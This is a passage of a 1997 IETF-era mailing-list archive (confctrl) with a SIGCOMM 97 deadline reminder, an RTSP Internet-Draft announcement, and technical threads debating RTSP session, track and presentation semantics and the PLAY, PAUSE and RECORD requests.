	id <AA10534>; Tue, 28 Jan 1997 05:13:12 -0800
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10528>; Tue, 28 Jan 1997 05:13:09 -0800
Received: from alpes.eurecom.fr by quark.isi.edu (5.65c/5.61+local-23)
	id <AA25265>; Tue, 28 Jan 1997 05:07:00 -0800
Received: from rosa.eurecom.fr (erbi@rosa.eurecom.fr [193.55.114.19]) by alpes.eurecom.fr (8.7.4/8.7.3) with SMTP id OAA12803; Tue, 28 Jan 1997 14:02:20 +0100 (MET)
Date: Tue, 28 Jan 1997 14:02:20 +0100 (MET)
From: Biersack Ernst <Ernst.Biersack@eurecom.fr>
Message-Id: <199701281302.OAA12803@alpes.eurecom.fr>
To: confctrl@ISI.EDU
Subject: SIGCOMM 97 submission deadline is coming up
Cc: erbi@alpes.eurecom.fr
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Dear colleagues,
Its time to hurry up!
The deadline for submission to SIGCOMM 97 is Jan 31st, i.e. 
the  end of this week.
Yours,
\Ernst Biersack
(Sigcomm Publicity Chair)


The next ACM SIGCOMM will be in September 1997 
at the Palais des Festivals in Cannes, France.

Tutorials, September 14-15, 1997
Conference, September 16-18, 1997


The deadlines are:
	   Paper submissions: 31 January 1997
	   Tutorial proposals: 31 January 1997 
	   Notification of acceptance: 28 April 1997
	   Camera-ready paper due: 30 May 1997 


For more details, please  see:

http://www.inria.fr/rodeo/sigcomm97/



From majordom@ISI.EDU  Fri Feb 21 12:58:47 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29867>; Fri, 21 Feb 1997 15:03:16 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29861>; Fri, 21 Feb 1997 15:03:11 -0800
Received: from dirty.research.bell-labs.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA19978>; Fri, 21 Feb 1997 15:03:09 -0800
Received: from research.research.bell-labs.com by dirty; Fri Feb 21 18:02:04 EST 1997
Received: from sea.dnrc.bell-labs.com by research; Fri Feb 21 18:01:02 EST 1997
Received: from sea (localhost [127.0.0.1]) by sea.dnrc.bell-labs.com (8.7.5/8.7.3) with SMTP id RAA10817; Fri, 21 Feb 1997 17:58:47 -0500 (EST)
Message-Id: <330E28A7.1FC6@cs.columbia.edu>
Date: Fri, 21 Feb 1997 17:58:47 -0500
From: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: rem-conf@es.net, confctrl@isi.edu
Subject: New version of RTSP draft
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

A new draft of the RTSP specification is now available as PostScript at
http://www.cs.columbia.edu/~hgs/rtsp/draft/rtsp.ps

This will be submitted as an I-D in the next few days (after
ASCIIfication).

The draft raises a number of questions for discussion. The authors look
forward to discussion and comments (on the confctrl mailing list or
privately, if needed).

Henning


Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Tue Feb 25 12:16:01 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23170>; Tue, 25 Feb 1997 14:25:35 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23164>; Tue, 25 Feb 1997 14:25:34 -0800
Received: from ietf.org by venera.isi.edu (5.65c/5.61+local-26)
	id <AA15110>; Tue, 25 Feb 1997 14:25:34 -0800
Received: from ietf.ietf.org by ietf.org id aa00650; 25 Feb 97 17:16 EST
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@isi.edu
From: Internet-Drafts@ietf.org
Reply-To: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-rtsp-01.txt, .ps
Date: Tue, 25 Feb 1997 17:16:01 -0500
Message-Id:  <9702251716.aa00650@ietf.org>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart

 A Revised Internet-Draft is available from the on-line Internet-Drafts 
 directories. This draft is a work item of the Multiparty Multimedia 
 Session Control Working Group of the IETF.                                

       Title     : Real Time Streaming Protocol (RTSP)                     
       Author(s) : H. Schulzrinne, A. Rao, R. Lanphier
       Filename  : draft-ietf-mmusic-rtsp-01.txt, .ps
       Pages     : 61
       Date      : 02/24/1997

The Real Time Streaming Protocol, or RTSP, is an application-level protocol
for control over the delivery of data with real-time properties. RTSP 
provides an extensible framework to enable controlled, on-demand delivery 
of real-time data, such as audio and video. Sources of data can include 
both live data feeds and stored clips. This protocol is intended to control
multiple data delivery sessions, provide a means for choosing delivery 
channels such as UDP, multicast UDP and TCP, and delivery mechanisms based 
upon RTP (RFC 1889).                                                       

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-ietf-mmusic-rtsp-01.txt".
 Or 
     "get draft-ietf-mmusic-rtsp-01.ps".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-01.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa:  ftp.is.co.za                    
	                                                
     o  Europe:  ftp.nordu.net            	
                 ftp.nis.garr.it                 
	                                                
     o  Pacific Rim: munnari.oz.au               
	                                                
     o  US East Coast: ds.internic.net           
	                                                
     o  US West Coast: ftp.isi.edu               
	                                                
Internet-Drafts are also available by mail.	
	                                                
Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-ietf-mmusic-rtsp-01.txt".
 Or 
     "FILE /internet-drafts/draft-ietf-mmusic-rtsp-01.ps".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19970225121758.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-rtsp-01.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-ietf-mmusic-rtsp-01.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19970225121758.I-D@ietf.org>

--OtherAccess--

--NextPart--

From majordom@ISI.EDU  Tue Feb 25 07:25:20 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27306>; Tue, 25 Feb 1997 15:28:07 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27300>; Tue, 25 Feb 1997 15:28:06 -0800
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA19573>; Tue, 25 Feb 1997 15:28:06 -0800
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA29323
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Tue, 25 Feb 1997 15:28:34 -0800
Message-Id: <3.0.32.19970225152519.0119deb4@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Tue, 25 Feb 1997 15:25:20 -0800
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP Open Issues
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Live today is an update to the RTSP Open Issues list:

http://www.prognet.com/prognet/rt/openissues.html

This is mainly a collection of issues are covered in notes scattered
throughout the draft, but this is an attempt to organize them such that the
big picture is a little clearer.

In addition, an HTTP version of the draft is available on our website at:
http://www.prognet.com/prognet/rt/protocol.html

No new content, just yet another format.

Please let us know what thoughts you have on this.

Thanks
Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com


From majordom@ISI.EDU  Thu Feb 27 10:16:17 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29629>; Thu, 27 Feb 1997 12:16:30 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29622>; Thu, 27 Feb 1997 12:16:29 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA19300>; Thu, 27 Feb 1997 12:16:29 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id PAA09989; Thu, 27 Feb 1997 15:16:27 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id PAA14494; Thu, 27 Feb 1997 15:16:18 -0500 (EST)
Message-Id: <3315EB91.6BFD@cs.columbia.edu>
Date: Thu, 27 Feb 1997 15:16:17 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: John H Wilson <John_H_Wilson@ccm.jf.intel.com>
Cc: robla@prognet.com, rem-conf@es.net, confctrl@isi.edu
Subject: Re: RTSP "sessions", "streams", "components", and URIs
References: <Thu, 27 Feb 97 10:52:10 PST_2@ccm.hf.intel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Thanks for pointing this out - all the authors are aware that the
current terminology is both inconsistently used within and outside the
document. One proposal would be use the terms "track" and
"presentation", since stream has too many conflicting uses already.
(RTSP "lives in" both the SDP name space and the RTP name space, for
better and for worse.) Just using "session" doesn't help, since we do
need to name individual media streams (say, only the audio part of a
movie).

I cc'ed this to confctrl, I think that's where the discussion belongs.

John H Wilson wrote:
> 
> IMHO, RTSP could avoid some confusion over the term "session" by being
> self-consistent.
> 
> SDP defines the term in one sense: a collection of streams with a common
> time-line.
> 
> RTP defines the term in another sense: a single media stream (along with
> its parallel "control" stream (RTP/RTCP).
> 
> RTSP has absorbed both terms.
> 
> In Section 1.3, it is used in the SDP sense; in section 6.2, GET
> retrieves a session description, and in section 6.11, SESSION allows the
> server to send the client a modified session description with new or
> deleted "components" (it is not clear, but I think "component" is
> synonymous with "stream".)
> 
> In section 8.24, session is clearly refering to a single stream
> (consistent with RTP, but RTSP does not insist on its use). It defines
> the session header field which identifies the state of a single stream
> on which SETUP(6.3), PLAY(6.4), PAUSE(6.5), and CLOSE(6.6) operate.
> 
> IMHO, "stream" should be used for SETUP, PLAY, PAUSE, CLOSE, and should
> replace the term "component" in the definition of the SESSION request.
> The "session" header field would become the "stream" header field.
> 
> On a minor, related, point, I wonder why all requests must contain a
> Request-URI. PAUSE and CLOSE, for example, must operate on an existing
> "stream"; if the Request-URI does not match the "stream" ID, I suppose
> it is a protocol error? What would the Request-URI be used for in these
> two requests?

You can PAUSE and CLOSE an individual track (say, the audio track)
without PAUSEing or CLOSEing the whole presentation (audio and video,
say) or you can indeed PAUSE the whole show. The session id is the same
in both cases, the URI is not. "Invalid session id" is, I think, one of
the possible error codes. (Whether Session should be a concept within
RTSP or whether RTSP should borrow the HTTP state maintenance mechanisms
for its purposes is another debate...)


> 
> john_h_wilson@ccm.jf.intel.com


Henning
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Thu Feb 27 09:19:00 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15447>; Thu, 27 Feb 1997 17:25:55 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15420>; Thu, 27 Feb 1997 17:25:52 -0800
Received: from ormail.intel.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA07453>; Thu, 27 Feb 1997 17:25:51 -0800
Received: from relay.jf.intel.com (relay.jf.intel.com [134.134.131.6])
          by ormail.intel.com (8.8.4/8.8.4) with ESMTP
	  id RAA18600; Thu, 27 Feb 1997 17:25:39 -0800 (PST)
Received: (from ccmgate@localhost) by relay.jf.intel.com (8.7.6/8.7.3) id RAA25376; Thu, 27 Feb 1997 17:25:46 -0800 (PST)
Received: by ccm.jf.intel.com (ccmgate 3.2 #6) Thu, 27 Feb 97 17:25:46 PST
Date: Thu, 27 Feb 97 17:19:00 PST
From: John H Wilson <John_H_Wilson@ccm.jf.intel.com>
Message-Id: <Thu, 27 Feb 97 17:25:44 PST_4@ccm.jf.intel.com>
To: schulzrinne@cs.columbia.edu_at_internet_gateway@ccm.jf.intel.com,
        rem-conf-request@es.net
Cc: robla@prognet.com, rem-conf@es.net, confctrl@isi.edu
Subject: Re[2]: RTSP "sessions", "streams", "components", and URIs
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Text item: 

OK, suppose we use "Presentation" instead of "Session"
               and "Track"        instead of "Stream"

I'm still a bit puzzled about the model:

You wrote:

>You can PAUSE and CLOSE an individual track (say, the audio track)
>without PAUSEing or CLOSEing the whole presentation (audio and video,
>say) or you can indeed PAUSE the whole show. The session id is the same
>in both cases, the URI is not. "Invalid session id" is, I think, one of
>the possible error codes. (Whether Session should be a concept within
>RTSP or whether RTSP should borrow the HTTP state maintenance mechanisms
>for its purposes is another debate...)

My questions are:

1. I assume SETUP is always track-specific; whether it is the intial 
   SETUP or not.

2. I assume that a PLAY that does not specify a track id, must 
   specifiy a track URI, and gets a track id in return. (I.e., 
   cannot operate on a presentation basis) True?

3. Is there such a thing as a presentation id? I assume not, since 
   I see no request that generates one.

4. If (as you say) the "session id" is the same to PAUSE/CLOSE either a         
   presentation or a track, and the difference is in the URI, then  to          
   PAUSE/CLOSE a presentation, I must be able to use ANY track id in the        
   presentation + the presentation URI....true? If this is the case, I 
   assume that, once a presentation has been PAUSEd, it can be resumed 
   by sending a PLAY with ANY track id + the presentation URI?

5. I assume that track id's are not client unique. If there are multiple        
   listeners to a track (it is being multicast), these clients can provide some 
   way to pass the track id around, so that any of them can use the same (track 
   id + URI) to PAUSE/PLAY/CLOSE the track. This is the so-called "pass the     
   remote" scenario, except that RTSP provides no mechanism to prevent "multiple
   remotes"?

[So far, I've concluded that SETUP is track-specific, while PLAY, PAUSE & CLOSE 
are not.]

Two presentation description questions:

  - SDP does not seem provide the necessary track-specific URI information; 
    do you intend to propose the necessary extensions?
  - where can I find a definition of SDF?

john_h_wilson@ccm.jf.intel.com






Text item: External Message Header

The following mail header is for administrative use
and may be ignored unless there are problems.

***IF THERE ARE PROBLEMS SAVE THESE HEADERS***.

Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=us-ascii
References: <Thu, 27 Feb 97 10:52:10 PST_2@ccm.hf.intel.com>
Subject: Re: RTSP "sessions", "streams", "components", and URIs
CC: robla@prognet.com, rem-conf@es.net, confctrl@isi.edu
To: John H Wilson <John_H_Wilson@ccm.jf.intel.com>
MIME-Version: 1.0
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Organization: Columbia University, Dept. of Computer Science
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Date: Thu, 27 Feb 1997 15:16:17 -0500
Message-ID: <3315EB91.6BFD@cs.columbia.edu>
Sender: hgs@cs.columbia.edu
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1])
          by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id PAA14494;
          Thu, 27 Feb 1997 15:16:18 -0500 (EST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35])
          by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id PAA09989;
          Thu, 27 Feb 1997 15:16:27 -0500 (EST)
Received: from cs.columbia.edu by osi-west.es.net with ESnet SMTP (PP);
          Thu, 27 Feb 1997 12:16:31 -0800
Received: from osi-west.es.net (osi-west.es.net [198.128.3.61])
          by ormail.intel.com (8.8.4/8.8.4) with SMTP
       id PAA00836; Thu, 27 Feb 1997 15:55:40 -0800 (PST)
Received: from ormail.intel.com (ormail.intel.com [134.134.248.3]) by relay.jf.i
ntel.com (8.7.6/8.7.3) with ESMTP id PAA08232; Thu, 27 Feb 1997 15:55:50 -0800 (
PST)
Return-Path: rem-conf-request@es.net

From majordom@ISI.EDU  Thu Feb 27 15:52:55 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16555>; Thu, 27 Feb 1997 17:53:12 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16547>; Thu, 27 Feb 1997 17:53:10 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA08543>; Thu, 27 Feb 1997 17:53:09 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id UAA19246; Thu, 27 Feb 1997 20:53:01 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id UAA15115; Thu, 27 Feb 1997 20:52:55 -0500 (EST)
Message-Id: <33163A77.2E7D@cs.columbia.edu>
Date: Thu, 27 Feb 1997 20:52:55 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: John H Wilson <John_H_Wilson@ccm.jf.intel.com>
Cc: confctrl@isi.edu, robla@prognet.com
Subject: Re: RTSP "sessions", "streams", "components", and URIs
References: <Thu, 27 Feb 97 17:29:43 PST_9@ccm.hf.intel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The "Session" identifier (we should probably pick a different name for
that header if we change the naming...) is always for the whole
presentation and is conveyed by the server at the first opportunity,
regardless as to whether the request is for a track or the presentation.
There is no need for a track id.

[Sidenote: servers can generate dynamic session descriptions which
incorporate some form of presentation identifier and then don't need the
Session header. Client doesn't care; works either way.]

The presentation description ("extended SDP") must provide an RTSP URL
for the whole presentation as well as for each track. These may or may
not be hierarchical (e.g., the whole movie could be called a.mov and the
tracks b.mov and c.mov, without directory hierarchy).

Client says:

SETUP rtsp://foo.com/movie/audio.en

Server says:

200 OK
Session: 12345

12345 is now used for the whole presentation - Session ids are never for
a track. If a new client wants a different stream (unicast), it gets a
different identifier, but likely the same URI.

[Side remark: HTTP state maintenance makes that a bit clearer since it
includes the Path, thus it allows both types.]

Client then says:

PLAY rtsp://foo.com/movie
Session: 12345
Range: some range spec

Server says:

200 OK
Range: range we are actually playing


Client can issue a PAUSE or CLOSE for each track or for the whole
presentation. Session number (12345) is the same in either case, but URI
differs. Semantics of PAUSE for a track is more like muting, since the
rest of the presentation keeps on playing. PLAYing the track again
maintains synchronization (that is, you skip the track whatever piece of
the movie went by).

Hope that clarifies things a bit.
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Sun Mar  2 07:27:39 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10145>; Sun, 2 Mar 1997 15:27:49 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10139>; Sun, 2 Mar 1997 15:27:47 -0800
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA28900>; Sun, 2 Mar 1997 15:27:46 -0800
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id PAA13232; Sun, 2 Mar 1997 15:27:40 -0800 (PST)
Message-Id: <199703022327.PAA13232@mailhost.nttlabs.com>
To: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Cc: rem-conf@es.net, confctrl@isi.edu
Subject: Re: New version of RTSP draft 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Fri, 21 Feb 1997 17:58:47 EST"
References: <330E28A7.1FC6@cs.columbia.edu> 
Date: Sun, 02 Mar 1997 15:27:39 -0800
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

A few meta-level comments and questions before I dive in deeper...

Regarding recording facilities: 
- who decides the name to be used for the stored stream in a record
request?  as written it appears that it is determined by the
requesting party.  Similar to HTTP PUT and POST it would seem
necessary to have the ability for the server or the client to specify
the abs_path or the URL.
- SETUP seams to be for "setup stream" so I'm not sure this would be
the proper place, but it is the request required before RECORD

PAUSE:
- can PAUSE indicate an SMPTE or Absolute Time stamp?

Along the same lines:
- a PLAY range will result in which? the server going to PAUSE at end
of range or CLOSE at the end of range?

js

--
 Jeffrey D. Smith
 Nippon Telegraph and Telephone Corporation   
 Multimedia Communications Laboratories
 250 Cambridge Ave., Suite 205			TEL  +1 415 833 3605
 Palo Alto, CA 94306				FAX  +1 415 326 1878
					 	ISDN +1 415 843 0667

 new-pgp-fingerprint: 2F 95 88 54 C1 FB 75 25  BB 71 FC 8A 85 49 18 C2
 old-pgp-fingerprint: C1 EE A9 BD B1 E9 2E 9A  03 CF 6B E1 CF C4 D0 0D
 e-mail: sumisu@nttlabs.com

From majordom@ISI.EDU  Mon Mar  3 03:29:45 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21818>; Mon, 3 Mar 1997 05:29:56 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21812>; Mon, 3 Mar 1997 05:29:53 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA18764>; Mon, 3 Mar 1997 05:29:52 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id IAA19935; Mon, 3 Mar 1997 08:29:50 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id IAA02246; Mon, 3 Mar 1997 08:29:45 -0500 (EST)
Message-Id: <331AD249.19A8@cs.columbia.edu>
Date: Mon, 03 Mar 1997 08:29:45 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: "Jeffrey D. Smith" <sumisu@nttlabs.com>
Cc: confctrl@isi.edu
Subject: Re: New version of RTSP draft
References: <330E28A7.1FC6@cs.columbia.edu> <199703022327.PAA13232@mailhost.nttlabs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Jeff Smith wrote:
> 
> A few meta-level comments and questions before I dive in deeper...

Thanks for the comments.

> 
> Regarding recording facilities:
> - who decides the name to be used for the stored stream in a record
> request?  as written it appears that it is determined by the
> requesting party.  Similar to HTTP PUT and POST it would seem
> necessary to have the ability for the server or the client to specify
> the abs_path or the URL.

I'm a bit confused by this statement, since the request URI in a RECORD
would seem to be equivalent to that in a PUT (not POST, since POST
specifies the URI that "handles" the content of the request).


> - SETUP seams to be for "setup stream" so I'm not sure this would be
> the proper place, but it is the request required before RECORD
> 
> PAUSE:
> - can PAUSE indicate an SMPTE or Absolute Time stamp?

This would seem desirable for editing, right?

> 
> Along the same lines:
> - a PLAY range will result in which? the server going to PAUSE at end
> of range or CLOSE at the end of range?

PAUSE would seem to make more sense. 

> 
> js
> 
> --
>  Jeffrey D. Smith
>  Nippon Telegraph and Telephone Corporation

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Sun Mar  2 22:09:10 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22503>; Mon, 3 Mar 1997 06:09:18 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22497>; Mon, 3 Mar 1997 06:09:16 -0800
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA20435>; Mon, 3 Mar 1997 06:09:15 -0800
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id GAA25648; Mon, 3 Mar 1997 06:09:11 -0800 (PST)
Message-Id: <199703031409.GAA25648@mailhost.nttlabs.com>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: confctrl@isi.edu
Subject: Re: New version of RTSP draft 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Mon, 03 Mar 1997 08:29:45 EST"
References: <330E28A7.1FC6@cs.columbia.edu> <199703022327.PAA13232@mailhost.nttlabs.com>
	  <331AD249.19A8@cs.columbia.edu> 
Date: Mon, 03 Mar 1997 06:09:10 -0800
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

|Jeff Smith wrote: (indicated by |>)
|> 
|> A few meta-level comments and questions before I dive in deeper...
|

Hennings comments (indicated by |)

|Thanks for the comments.
|
|> 
|> Regarding recording facilities:
|> - who decides the name to be used for the stored stream in a record
|> request?  as written it appears that it is determined by the
|> requesting party.  Similar to HTTP PUT and POST it would seem
|> necessary to have the ability for the server or the client to specify
|> the abs_path or the URL.
|
|I'm a bit confused by this statement, since the request URI in a RECORD
|would seem to be equivalent to that in a PUT (not POST, since POST
|specifies the URI that "handles" the content of the request).

Exactly.  But I also want the case where the server decides the URI
similar to POST where a client would request to record streams for a
project that has a URI (known to the user/application specific to the
project) and the server would respond with the complete URI to be used
for the to-be-recorded session.

|
|
|> - SETUP seams to be for "setup stream" so I'm not sure this would be
|> the proper place, but it is the request required before RECORD
|> 


|> PAUSE:
|> - can PAUSE indicate an SMPTE or Absolute Time stamp?
|
|This would seem desirable for editing, right?

Yep.

|
|> 
|> Along the same lines:
|> - a PLAY range will result in which? the server going to PAUSE at end
|> of range or CLOSE at the end of range?
|
|PAUSE would seem to make more sense. 

So I thought, just wanted to clarify.

|
|> 
|> js
|> 
|> --
|>  Jeffrey D. Smith
|>  Nippon Telegraph and Telephone Corporation
|
|-- 
|Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
|Dept. of Computer Science   phone: +1 212 939-7042
|Columbia University         fax:   +1 212 666-0140
|New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs
|


From majordom@ISI.EDU  Mon Mar  3 04:31:15 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22925>; Mon, 3 Mar 1997 06:31:28 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22919>; Mon, 3 Mar 1997 06:31:24 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA21327>; Mon, 3 Mar 1997 06:31:23 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id JAA21255; Mon, 3 Mar 1997 09:31:16 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id JAA02329; Mon, 3 Mar 1997 09:31:15 -0500 (EST)
Message-Id: <331AE0B3.1F5E@cs.columbia.edu>
Date: Mon, 03 Mar 1997 09:31:15 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: "Jeffrey D. Smith" <sumisu@nttlabs.com>
Cc: confctrl@isi.edu
Subject: Re: New version of RTSP draft
References: <330E28A7.1FC6@cs.columbia.edu> <199703022327.PAA13232@mailhost.nttlabs.com>
		  <331AD249.19A8@cs.columbia.edu> <199703031409.GAA25648@mailhost.nttlabs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Jeff Smith wrote:

> |I'm a bit confused by this statement, since the request URI in a RECORD
> |would seem to be equivalent to that in a PUT (not POST, since POST
> |specifies the URI that "handles" the content of the request).
> 
> Exactly.  But I also want the case where the server decides the URI
> similar to POST where a client would request to record streams for a
> project that has a URI (known to the user/application specific to the
> project) and the server would respond with the complete URI to be used
